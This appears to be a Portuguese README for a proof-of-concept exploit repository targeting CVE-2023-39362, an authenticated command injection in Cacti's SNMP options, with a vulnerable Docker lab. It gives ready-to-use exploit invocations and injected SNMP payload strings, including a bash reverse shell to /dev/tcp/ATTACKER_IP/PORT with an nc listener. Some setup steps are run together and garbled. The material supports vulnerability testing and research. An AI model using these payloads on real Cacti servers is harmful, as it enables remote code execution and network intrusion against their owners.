
Prova de conceito de exploit para CVE-2023-39362, uma injeção de comandos autenticada nas opções de SNMP do Cacti. Inclui um ambiente Docker vulnerável para testes e um script em Python para exploração automatizada com capacidade de reverse shell.
Este repositório é um fork deste repositório: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application
O Cacti é uma estrutura open-source de monitoramento operacional e gerenciamento de falhas, em constante evolução para atender às necessidades dinâmicas de sua comunidade de usuários.
Na versão 1.2.24, foi identificada uma potencial vulnerabilidade de segurança marcada como CVE-2023-39362. Sob condições específicas, um usuário privilegiado autenticado pode explorar uma falha nas opções SNMP de um Device, utilizando uma string maliciosa que leva à injeção de comandos. Essa exploração resulta na execução autenticada de código remoto no servidor subjacente.
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39362
As implicações desta vulnerabilidade são graves, pois um agente mal-intencionado com privilégios autenticados poderia comprometer a integridade do servidor que hospeda o Cacti. Esse comprometimento poderia potencialmente servir como porta de entrada para acesso não autorizado a outros hosts dentro da rede, especialmente aqueles monitorados pelo Cacti.
Esta é uma aplicação vulnerável para testar o exploit da vulnerabilidade do Cacti (CVE-2023-39362).
Esta aplicação contém vulnerabilidades de segurança graves. Execute-a por sua conta e risco! É recomendado usar um ambiente com backup e isolado (como uma VM com snapshot recente e rede somente-host). Não envie esta aplicação para nenhum servidor exposto à Internet, pois eles serão comprometidos.
Não me responsabilizo pela forma como qualquer pessoa usa esta aplicação. O único propósito desta aplicação é ser um cenário de teste para o exploit da CVE-2023-39362 e ela não deve ser usada de forma maliciosa. Se o seu servidor for comprometido por meio de uma instalação desta aplicação, a responsabilidade não é minha; é das pessoas que a enviaram e instalaram.**
Aqui estão os passos para configurar o ambiente:
docker compose up -d para iniciar a composição.admin/admin.admin.guest.guest para testar o exploit.O guia oficial de instalação do Cacti pode ser encontrado aqui.
Para derrubar o ambiente, use o comando docker compose down.
(Este é apenas um caminho possível para a exploração)
Execute o comando no servidor remoto:
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd touch /tmp/proof
Abrindo um reverse shell:
nc -lvnp 4242
python3 exploit.py --url http://localhost -u guest -p Sup3rS3cr3tPassword.1234 --cmd 'bash -c "exec bash -i &>/dev/tcp/ATTACKER_IP/PORT <&1"'
public\' ; touch /tmp/proof ; \'./tmp a presença do arquivo criado.Para obter um reverse shell, um payload como o seguinte pode ser usado.
public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'
Uma causa raiz detalhada da vulnerabilidade está disponível no advisory de segurança original ou no post do blog do autor original.
Este projeto está licenciado sob a Unlicense - consulte o arquivo LICENSE para obter detalhes.